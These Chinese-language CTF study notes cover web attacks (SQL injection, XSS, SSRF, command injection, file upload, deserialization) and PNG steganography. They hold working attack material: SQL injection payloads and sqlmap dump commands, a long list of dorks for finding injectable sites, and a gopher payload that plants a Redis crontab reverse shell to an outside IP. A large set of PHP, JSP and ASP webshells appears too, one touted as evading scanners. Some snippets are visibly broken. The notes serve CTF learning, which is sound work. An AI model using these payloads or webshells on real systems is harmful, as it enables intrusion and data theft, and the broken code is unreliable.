学习笔记
”一以贯之的努力赢得不可懈怠的人生,这就是答案“
目录
第一章 Web篇
一、信息收集
随着互联网的普及,所有人都在利用网络传递信息,网络渠道成为人们沟通和交流的又一大常用平台。互联网带给大家便利的同时也存在极大隐患,你的个人信息一旦被泄露,后果可想而知。而相对应的信息收集非常重要。
1. 搜索引擎常用语法
- intitle:把搜索范围限定在网页标题。(主义冒号后面不能包含空格)
- site:把搜索范围限定在特定站点。
- inurl:把搜索范围限定在URL链接。
- filetype:把搜索范围限定在文件类型。
- intext:把搜索范围限定在网页部分中包含的文字(忽略了标题,URL等的文字)。
- domain:用domain命令可以查找跟某一网站相关的信息或反向链接。
- link:查询网站外链的搜索指令,只适用于Google,百度不支持。
- and:利用and表示前后两个关键词是“与”的逻辑关系。
- or:利用or(|)表示前后两个词是“或”的逻辑关系。
|
:使用“A|B
”来搜索包含词语A,或者包含词语B的网页。""
(双引号):把搜索词放在双引号代表完全匹配搜索一个词,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必须完全匹配。-
(减号):减号代表搜索不包含减号后面的词的页面,使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词。*
(星号):星号是常用的通配符。()
(小括号):利用()
可以把多个关键词划分为一组,并进行优先查询。- info:提交info:url,将会显示需要查询网站的一些信息。
2. 敏感目录泄露
2.1 git泄露
新创建的Git存储库包含一些默认文件夹和文件,其中存储了所有信息。开发过程中若遗忘.git文件夹会导致git泄露。(Srabble:https://github.com/denny0223/scrabble)通过扫描获取到源码后可通过git回滚事件恢复原先版本以及git分支切换到想要获取的文件或用工具(GitHacker:https://github.com/WangYihang/GitHacker)手工提取,在CTF线上比赛也会出现只要访问.git,便会返回403,这类重定向问题。此时可试着访问.git/config,如果有文件内容返回,就说明存在git泄露。
2.2 Subversion (SVN)泄露
Subversion(或SVN)是由Apache Software Foundation创建的源代码版本控制系统。关键信息是SQLite数据库wc.db文件和**pristine /**目录的内容。利用.svn/entries或wc.db文件获取服务器源码等信息,在wc.db中存有pristine/*
里相关文件名的哈希值(Dvcs-ripper:https://github.com/kost/dvcs-ripper)。
2.3 IDE项目文件泄露
使用JetBrains产品开发的每个项目都会创建自己的隐藏目录 .idea /。此目录包含有关当前项目,其文件,目录和IDE设置的所有信息。
workspace.xml包含许多有用的信息,它们允许枚举应用程序的所有文件和文件夹,源版本控制系统信息和许多其他信息。
组件名称中的所有节点FileEditorManager包含所有文件及项目根目录的相对路径。
<?xml version =“1.0”encoding =“UTF-8”?>
(...)
<component name="RecentsManager">
<key name="MoveFile.RECENT_KEYS">
<recent name="C:\Users\25574\IdeaProjects\Yang\src\main\webapp\img" />
<recent name="C:\Users\25574\IdeaProjects\Yang\src\main\webapp\css" />
<recent name="C:\Users\25574\IdeaProjects\Yang\src\main\webapp\bootstrap\dist\css" />
<recent name="C:\Users\25574\IdeaProjects\Yang\src\main\webapp" />
</key>
</component>
(...)
枚举扫描工具(DirBuster,Dirb、wfuzz、dirsearch等),字典中包含数十万个常用的文件夹和文件名以及常用条目等。
字典资源:
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/RobotsDisallowed
2.4 敏感备份文件
gedit备份文件:后缀为
'~'
vim备份文件:一般格式为
.文件名.swp
(vim -r 可恢复文件)robot.txt|readne.md|crossdomain.xml|xx.tar.gz|xx.bak等
3. 域名收集
Whois:https://www.whois.com/ 可以查询域名是否被注册,以及注册域名的详细信息的数据库,其中可能会存在一些有用的信息,例如域名所有人、域名注册商、邮箱等。同一个企业/个人注册的多个域名通常具有一定的相关性,例如使用了同一个邮箱来注册、使用了同一个备案、同一个负责人来注册等,可以使用这种方式来查找关联的域名。
判断网站操作系统
- Linux大小写敏感
- windows大小写不敏感
前端框架判断可以通过安装wappalyzer插件。
4. 信息收集复现
信息搜集是前期的必备工作,也是重中之重。
由于之前参加中科大比赛觉得这道题挺有意义就自行复原题目+复现
题目中给予一定的提示
可以看出左上角有一个特别的蓝色KFC
获取地址
之后通过百度地图与3D卫星地图判断方向为东南方
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LUmTNLfE-1652359568244)(https://gitee.com/xialuokeyang/image/raw/master/image/20220512203458.png)]
根据全景找出所要信息
二、SQL注入
SQL注入是一种代码注入技术,由于开发者在程序编写过程中,对传入数据的过滤不严格,将可能存在拼接到的SQL查询语句攻击,再将这些查询语句传递给后端的数据库执行,从而引发数据库信息泄露。
1. 手工注入
注入的分类
1)布尔盲注:可以根据返回页面判断条件真假的注入。
2)时间盲注:不能根据页面返回内容判断任何信息,但可以用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)报错盲注:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)union盲注(联合查询注入):可以联合union的情况下的注入。
5)堆查询注入:可以同时执行多条语句的执行时的注入。
注入点(放置在查询参数前)
'/'
1/1
1/0
and 1=1
" and "1" = "1
and 1=2
or 1=1
or 1=
' and '1' = '1
+|-|^|*|%|/
<< >> || | & &&
~
!
@
--反引号
注释符
#
--+
/*xxx*/
字段数
- Order By
- Select Into
SQL基本注入语句
# group_concat()
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
# concat_ws()
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数
的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参
数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是
CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
?id=1 order by 4
# 判断有多少列
# 判断注入点
或者 id = 1 and 1 = 1#显示正常
id = 1 and 1 = 2#页面显示错误
# 报错猜解信息
# 显示的那个点就在那个点进行注入
?id = -1 union select 1,2,3,4
# 数据库版本
version()
union select 1,user(),database(),4
# 显示登录用户和数据库名
union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema = 'security'),3,4
# 查看数据库有哪些表
union select 1,(select group_concat(column_name) from
information_schema.columns where table_schema = 'security' and table_name =
'users'),3,4
# 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from
users),3,4
# 查看账号密码信息
union select 1,2,(select group_concat(concat_ws(0x7e,username,password))from
l0ve1ysq1)
SQL注入目录关键词
- inurl:asp?id=
- inurl:Article_Print.asp?
- inurl:ManageLogin.asp
- inurl: (asp?=数字) inurl: (php?=数字)
- site 指定网站 inurl:Article_Print.asp?
- inurl:NewsInfo.asp?id=
- inurl:ShowNew.asp?Id=
- inurl:ShowNews.asp?Id=
- inurl:Show.asp?Id=
- inurl:index.php?id=
- inurl:buy.php?category=
- inurl:article.php?ID=
- inurl:games.php?id=
- inurl:newsDetail.php?id=
- inurl:article.php?id=
- inurl:show.php?id=
- inurl:readnews.php?id=
- inurl:news.php?id=
- inurl:event.php?id=
- inurl:sql.php?id=
- inurl:news_view.php?id=
- inurl:aboutbook.php?id=
- inurl:news.php?id=
- inurl:index.php?id=
- inurl:Opinions.php?id=
- inurl:announce.php?id=
- inurl:clanek.php4?id=
- inurl:download.php?id=
- inurl:main.php?id=
- inurl:review.php?id=
- inurl:read.php?id=
- inurl:viewphoto.php?id=
- inurl:article.php?id=
- inurl:showimg.php?id=
- inurl:view.php?id=
- inurl:website.php?id=
- inurl:rub.php?idr=
- inurl:view_faq.php?id=
- inurl:detail.php?ID=
- inurl:index.php?=
- inurl:category.php?id=
- inurl:fellows.php?id=
- inurl:downloads_info.php?id=
- inurl:shop.php?do=part&id=
- inurl:releases.php?id=
- inurl:ray.php?id=
- inurl:shopping.php?id=
- inurl:viewshowdetail.php?id=
- inurl:memberInfo.php?id=
- inurl:section.php?id=
- inurl:theme.php?id=
- inurl:shredder-categories.php?id=
- inurl:tradeCategory.php?id=
- inurl:shop_category.php?id=
- inurl:transcript.php?id=
- inurl:channel_id=
- inurl:item_id=
- inurl:newsid=
- inurl:trainers.php?id=
- inurl:news-full.php?id=
- inurl:news_display.php?getid=
- inurl:index2.php?option=
- inurl:readnews.php?id=
- inurl:top10.php?cat=
- inurl:newsone.php?id=
- inurl:event.php?id=
- inurl:sql.php?id=
- inurl:aboutbook.php?id=
- inurl:review.php?id=
- inurl:loadpsb.php?id=
- inurl:ages.php?id=
- inurl:material.php?id=
- inurl:clanek.php4?id=
- inurl:announce.php?id=
- inurl:chappies.php?id=
- inurl:read.php?id=
- inurl:viewapp.php?id=
- inurl:viewphoto.php?id=
- inurl:rub.php?idr=
- inurl:review.php?id=
- inurl:labels.php?id=
- inurl:story.php?id=
- inurl:look.php?ID=
- inurl:newsone.php?id=
- inurl:aboutbook.php?id=
- inurl:material.php?id=
- inurl:Opinions.php?id=
- inurl:announce.php?id=
- inurl:rub.php?idr=
- inurl:galeri_info.php?l=
- inurl:tekst.php?idt=
- inurl:newscat.php?id=
- inurl:newsticker_info.php?idn=
- inurl:rubrika.php?idr=
- inurl:rubp.php?idr=
- inurl:Offer.php?idf=
- inurl:art.php?idm=
- inurl:title.php?id=
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
# sqlmap基本注入
sqlmap sql注入过程(url后要带 ?id=1) (--level=5 --risk=3) 扫描等级
# 读取数据库版本,当前用户,当前数据库
sqlmap -u url -f -b --current-user --current-db -v 1
# 读取所有数据库用户或指定数据库用户的密码
sqlmap -u url --users --passwords -v 2
sqlmap -u url --passwords -U root -v 2
# 读取所有数据库或当前数据库
sqlmap -u url (--level=5 --risk=3) --dbs(所有数据库)/--current-db(当前数据库)
# 获取指定数据库中的所有表
sqlmap -u url (--level=5 --risk=3) -D 数据库名 --tables
# 获取指定数据库名中指定表的字段
sqlmap -u url (--level=5 --risk=3) -D 数据库名 -T 表名 --columns
# 获取指定数据库名中指定表中指定字段的数据
sqlmap -u url (--level=5 --risk=3) -D 数据库名 -T 表名 -C 列名1,列名2... --dump
# file-read读取web文件
sqlmap -u url --file-read "/etc/passwd" -v 2
# file-write写入文件到web
sqlmap -u url --file-dest /var/www/html/xx.php -v 2
3. 注入流程
1.首先判定注入点 是否存在get注入参数
#判断注入点
或者 id = 1 and 1 = 1#显示正常
id = 1 and 1 = 2#页面显示错误
#如果没有反应则尝试是否需要闭合 注释
?id=1' order by 4 --+
# 判断有多少列
?id=1 order by 4
#报错猜解信息
#显示的那个点就在那个点进行注入
?id=-1 union select 1,2,3,4
其次进行数据库版本 库名 表名 列名 内容等的获取
#可以采用limit进行多个数据的猜解
limit x,1
可以通过改变不同注入方式绕过检测
表名
列名
数据
mysql特有函数
load_file()读取函数
into outfile 或者 into dumpfile:导出函数
select load_file('c:/xxxxx') 读取数据
select 'x' into outfile 'd:/xxx'
路径获取常用方法
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
开启魔术引号之后对写入的语句会强制加入引号 反斜杠等 可以利用编码
4.SQL注入举例
根据题目,可以想到此题目为sql注入,提交1与1’的结果如下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gxaPC0nE-1652359568246)(C:\Users\25574\AppData\Roaming\Typora\typora-user-images\image-20220204013116506.png)]
看报错信息可得到闭合方式为 1’
使用1’ order by 查询字段数,得出为两列
使用联合注入,发现select被过滤,常用的注入方式无法满足,尝试堆叠注入1';show databases;#
。
没有和flag有关的字样,再输入1’;show tables;#
看看表
看看列信息1’;show columns from 1919810931114514; #
(数字两边要加)
构建payload:
1’;set @sql=CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;execute stmt;#
1';PREPARE test from concat('s','elect','* from 1919810931114514');EXECUTE test;#
三、XSS
XSS(Cross Site Scripting 跨站脚本),为了和CSS分开简写为XSS。通常是指通过利用网页开发时留下的漏洞,巧妙注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。XSS通常被用于获取Cookie、更高的权限等。
1. 反射性XSS
反射型XSS:指恶意代码未被服务器存储,每次触发漏洞的时候都将恶意代码通过GET/POST方式提交,然后触发漏洞。
通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发 eg.<?php echo "<p>hello, $_GET['user']</p>";?>
在访问时传入user的参数为/?user=</p><script>alert("插入弹窗")</script><p>
,则执行传入的 JavaScript 代码。
<!DOCTYPE html>
<html>
<head>
<title>hello</title>
</head>
<body>
<h1>
hello{输入点}<!--输入点为设置的传入点-->
</h1>
</body>
</html>
2. 存储型XSS
称为持久型跨站点脚本,它一般发生在XSS攻击向量 (一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。与反射型XSS不同的是反射型需要点击,后者存在于网页的数据库中。
3. DOM XSS
DOM XSS:在页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了恶意变量,从而导致XSS,并不需要服务器解析响应的直接参与,可以认为完全是客户端的事情,无法通过WAF防护。
eg.
<html>
<head>
<title>DOM XSS</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
输入 x' onerror='javascript:alert(/xss/)
即可触发。
四、SSRF
SSRF(Server Side Request Forgery 服务端请求伪造)是一种攻击者通过构造数据伪造成服务器端发起请求的漏洞。SSRF攻击通常用于针对外部网络无法直接访问的内部系统。
1. URL结构
URL = scheme : [ //authority([userinfo@]host[:port]) ]path[ ?query ][ #fragment ]
-
scheme:协议部分,由一串不区分大小写的字符组成,以
“ : ”
作为结束符,表示获取资源所需要的协议,eg.HTTP、HTTPS等。 -
//authority:层次URL标识符,重点关注
“ // ”
符号后面的指向地址。 -
userinfo@:身份验证,userinfo一般较少出现,一般HTTP使用匿名形式来获取数据,如果需要进行身份验证,格式为
username : password
,且是以@结尾。 -
host:服务器地址,表示在哪个服务器上获取资源,一般所见的是以域名形式呈现的,如baidu.com,也有以IPv4、IPv6地址形式呈现的。
-
port:服务器端口,逻辑端口16位( [0~2^16) ),为了处理多进程时数据进行传输的时候,保证各进程中数据不会发生紊乱,能够传送到相应的进程中所设定的,各协议都有默认端口,eg.HTTP为80、FTP为21。使用默认端口时,可以将端口省略。
-
path:文件路径,指向资源的完整路径使URL指向的是一个唯一确定的资源,一般使用
“ / ”
进行分层。 -
query:查询字符串,用户将用户输入数据传递给服务端,以
“ ? ”
作为表示。并且这种用法也被服务器端语言(如PHP等)所支持。// ?id=1&name=helloworld&… $_GET['id'] $_POST['id']
-
fragment:片段ID, 与上面的
“ ? ”
后面的表单信息本质的区别是这部分内容不会被传递到服务器端,一般用于表示页面的锚点。<? php $url = $_GET['url']; $ci = curl_init(); $curl_setopt($ci,CURLO) ?>
-
Python获取URL并处理:
urlparse源码分析可参考:https://blog.csdn.net/yueguanghaidao/article/details/16368399
from urlparse import urlparse url = "https://www.example.com/test/8080;hello_world?id=1&name=zhangsan#hello" fin_url = urlparse(url) print(fin_url)
2. 相关危险函数
当URL参数未做任何过滤可以通过修改该地址或协议来发起SSRF攻击,一般出现在有调用外部资源时。
-
PHP:涉及函数
file_get_contents()
/fsockopen()
/curl_exec()
等。 -
file://:从文件系统中获取文件内容,如file:///etc/passwd。
-
dict://:字典服务器协议,让客户端能够访问更多字典源。在SSRF中可以获取目标服务器上运行的服务版本等信息。
-
gopher://:分布式的文档传递服务,如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。eg.可以使用gopher协议对内网的Redis进行攻击,在攻击Redis的时候,一般是写入Crontab反弹shell。自动组装工具(Gopher https://github.com/tarunkant/Gopherus)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
3. 过滤绕过
正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
- 8进制格式:0300.0250.0.1
- 16进制格式:0xC0.0xA8.0.1
- 10进制整数格式:3232235521
- 16进制整数格式:0xC0A80001
- 合并后两位:1.1.278 / 1.1.755
- 合并后三位:1.278 / 1.755 / 3.14159267
另外IP中的每一位,各个进制可以混用。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
4. DNS Rebinding
通过传入的URL提取出host,随即进行DNS解析,获取IP地址,对此IP地址进行检验,判断是否合法,如果检测通过,则再使用curl进行请求。
完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP。
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证。
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
五、命令执行
1. 常见危险函数
a. PHP
- system
- exec
- passthru
- shell_exec
- popen
- proc_open
b. Python
- system
- popen
- subprocess.call
- spawn
c. Java
- java.lang.Runtime.getRuntime().exec(command)
2. 常见绕过方式
- 空格绕过
<
符号cat<123
\t
/%09
${IFS}
其中{}用来截断,eg. echo$IFS$9aaa 会被认为IFS2是变量名。
- 黑名单绕过
a=l;b=s;$a$b
- base64
echo "bHM=" | base64 -d
/?in/?s
=>/bin/ls
- 连接符
cat /etc/pass'w'd
- 未定义的初始化变量
cat$x /etc/passwd
3. 注释符号
Windows的注释符号为“::”
,Linux的注释符号为“#”
。
4. 多条命令执行
多条命令执行在命令注入中通常需要注入多条命令来扩大危害,下面是一些能够构成多条命令执行的字符串:Windows下,&&、||、%0a;Linux下,&&、||、;、$()、``、%0a、%0d
。
“&&”
和“||”
利用条件执进行多条命令执行,“%0a”
和“%0d”
则是由于换行而可以执行新的命令。另外,在Linux中需要注意,双引号包裹的字符串“$()”
或“``”
中的内容被当作命令执行,但是单引号包括的字符串就是纯字符串,不会进行任何解析。
5. 通配符
*
0到无穷个任意字符?
一个任意字符[ ]
一个在括号内的字符,eg.[abcd]
[ - ]
在编码顺序内的所有字符’’[ ^ ]
一个不在括号内的字符- 命令分隔符:
%0a
/%0d
/\n
/\r
;
&
/&&
六、文件上传
文件上传漏洞是指由于程序员在对用户文件上传部分的过滤不足或者逻辑处理缺陷,而可以越过其本身权限向服务器上上传可执行的恶意动态脚本文件。
优质博客传送门:文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)_Fasthand_的博客-CSDN博客_uaf漏洞
1. 原理
在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段的数据信息,并将其中的文件内容提取出来并保存的。通常服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ,并且加上原始文件的扩展名来保存到服务器上。
文件上传后导致的常见安全问题一般有:
- 上传文件是Web脚本执行语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
码执行- 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
他通过类似方式控制策略文件的情况类似)- 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行
- 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
行,被用于钓鱼和欺诈除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器后台处理程序,eg.图片解析模块,或上传一个合法的文本文件, 其内容包含了PHP脚本,再通过本地文件包含漏洞执行此脚本等等。
2. 后缀绕过
php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/
的后缀,如 php
/ php5
/ pht
/ phtml
/ shtml
/ pwml
/ phtm
等 可在禁止上传php文件时测试该类型。
jsp引擎则可能会解析 jspx
/ jspf
/ jspa
/ jsw
/ jsv
/ jtml
等后缀,asp支持 asa
/ asax
/ cer
/ cdx
/ aspx
/ ascx
/ ashx
/ asmx
/ asp{80-90}
等后缀。
除了这些绕过,其他的后缀同样可能带来问题,如 vbs
/ asis
/ sh
/ reg
/ cgi
/ exe
/ dll
/ com
/ bat
/ pl
/ cfc
/ cfm
/ ini
等。
如果环境为Windows系统,那么可以尝试"php"、“php::$DATA”、"php.“等后缀;或先上传"a.php:.jpg”,生成空a.php文件,再上传"a.ph<"写入文件内容。在Windows环境下,文件名不区分大小写,而in_array区分大小写,所以可以尝试大小写后缀名绕过黑名单。若Web服务器配置了SSI,还可以尝试上传SHTML、SHT等文件命令执行。
3. 双后缀
有些站点通过对上传文件名进行删除敏感字符(php,asp,jsp等等)的方式进行过滤,例如你上传一个aphp.jpg的文件,那么上传之后就变成了a.jpg。这时就可以利用双后缀的方式上传一个a.pphphp,最终正好生成a.php。其实双后缀与中间件和操作系统无关,而是和代码逻辑有关。
针对双后缀,我们可以写个str_double_suffix_creater(suffix)
函数,传入后缀名suffix即可生成所有的双后缀可能。
def str_double_suffix_creater(suffix):
res = []
for i in range(1,len(suffix)):
str = list(suffix)
str.insert(i,suffix)
res.append("".join(str))
return res
在list_double_suffix_creater(suffix)
函数基础上,可以编写list_double_suffix_creater(list_suffix)
来为一个list生成所有双后缀可能。
def list_double_suffix_creater(list_suffix):
res = []
for l in list_suffix:
res += double_suffix_creater(l)
return duplicate_removal(res)
4. Magic检测绕过
有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示
类型 | 二进制值 |
---|---|
JPG | FF D8 FF E0 00 10 4A 46 49 46 |
GIF | 47 49 46 38 39 61 |
PNG | 89 50 4E 47 |
TIF | 49 49 2A 00 |
BMP | 42 4D |
5. 常见一句话木马
php
<?php @eval($_POST['test']);?>
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
<?php usort($_GET,'asse'.'rt');?> #php环境>=<5.6才能用
<?php usort(...$_GET);?> #php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话
<?php (])?> #上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!
<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
#加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件最底部不会出错
<%eval(request(“1″)):response.end%>
JSP
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
<%execute(request(“1″))%>
<scriptrunat=server>execute request(“1″)</script>
七、反序列化
很多语言都存在序列化函数,如Python、Java、PHP、.NET等。在CTF中,经常可以看到PHP反序列化的身影,原因在于PHP提供了丰富的魔术方法,加上自动加载类的使用,为构写EXP提供了便利。
PHP反序列化
PHP对象需要表达的内容较多,如类属性值的类型、值等,所以会存在一个基本格式。基本类型表达:
-
boolean
b:<value>;``b:1;
// trueb:0;
// false -
integer
i:<value>;
-
double
d:<value>;
-
NULL
N;
-
string
s:<length>:"<value>";``s:1:"s";
-
array
a:<length>:{key, value};``a:1:{s:4:"key1";s:6:"value1";}
//array("key1" => "value1");
-
object
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
-
reference
指针类型
R:reference;``O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}``$a = new A();$a->a=1;$a->b=&$a->a;
常见魔法方法的触发方式:
- 当对象被创建时:
__construct
- 当对象被销毁时:
__destruct
- 当对象被当作一个字符串使用时:
__toString
- 序列化对象前调用(其返回需要是一个数组):
__sleep
- 反序列化恢复对象前调用:
__wakeup
- 当调用对象中不存在的方法时自动调用:
__call
- 从不可访问的属性读取数据:
__get
反序列化举例
class Demo
{
public $data;
public function __construct($data)
{
$this->data = $data;
echo "construct<br />";
}
public function __wakeup()
{
echo "wake up<br />";
}
public function __destruct()
{
echo "Data's value is $this->data. <br />";
echo "destruct<br />";
}
}
var_dump(serialize(new Demo("raw value")));
#输出内容:
construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
把序列化的字符串修改一下后为:
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
#输出被更改为:
wake up
Data's value is malicious value.
destruct
在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞,当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。
第二章 MISC
MISC在实际应用中与密码学与网络流量结合食用更佳,主要在CTF中以多样形式出现。
一、隐写术
图片组成
PNG
PNG文件由IHDR
(文件头数据块)、PLTE
(调色板数据块)、IDAT
(图像数据块)、IEND
(图像结束数据)四个标准数据块和一些辅助数据块组成。每个数据块由Length(长度)、Chunk Type Code(数据块类型码)、Chunk Data(数据块数据)和CRC(循环冗余校验码)四部分组成。
-
文件署名域:PNG文件总是由固定的字节(89 50 4E 47 0D 0A 1A 0A 十六进制)开始。
-
数据块:一种是成为关键数据块(critical chunk),就是必须要有的块;另一种叫做辅助数据块(ancillary chunks)。
名称 字节数 说明 Length(长度) 4 指定数据块中数据域的长度,其长度不超过()字节 Chunk Type Code(数据块类型码) 4 数据块类型码由ASCII字母(A-Z、a-z)组成 Chunk Data(数据块数据) 可变长 存储按照Chunk Type Code指定的数据 CRC(循环冗余校验码) 4 存储用来检测是否有错误的循环冗余码 -
关键数据块:
-
文件头数据块IHDR(header chunk)
它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件数据块。
域的名称 字节数 说明 Width 4 图像宽度,以像素为单位 Height 4 图像高度,以像素为单位 Bit depth 1 图像深度,索引彩色图像:1,2,4;灰度图像:1,2,4,8;真彩色图像:8或16 ColorType 1 颜色类型:0;灰度图像:1,2,4,8或16,8;真彩色图像:8或16,3;索引彩色图像:1,2,4或84; Compression 1 压缩方法(LZ77派生算法) Filter method 1 滤波方法 Interlace method 1 隔行扫描方法:0;非隔行扫描:1 -
调色板数据块PLTE(palette chunk):
它包含有与索引彩色图像相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块之前。真彩色的PNG数据流也可以有调色板的数据块,目的是便于非真彩色显示程序用它来量化图像数据从而显示该图像。结构如下:
颜色 字节 意义 Red 1 黑色=0,红色=255 Green 1 黑色=0,绿色=255 Blue 1 黑色=0,蓝色=255 PLTE数据块是定义图像的调色板信息,PLTE可以包含1~256个调色板信息,每个调色板信息有3个字节组成,调色板数据块包含的最大字节数为768。(调色板的长度应该是3倍数,否则,这将是一个非法的调色板)
-
图像数据块IDAT(image data chunk):
它存储实际的数据,在数据流中可包含多个连续的图像数据块。IDAT存放着图像真正的数据信息。
-
图像结束数据IEND(image trailer chunk):
它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。(00 00 00 00 49 45 4E 44 AE 42 60 82 十六进制)
-
-
辅助数据块:
- 背景颜色数据块bkGD(background color).
- 基色和白色度数据块cHRM(primary chromaticities and white point).所谓白色度是指当R=G=B=最大值时在显示器上产生的白色度。
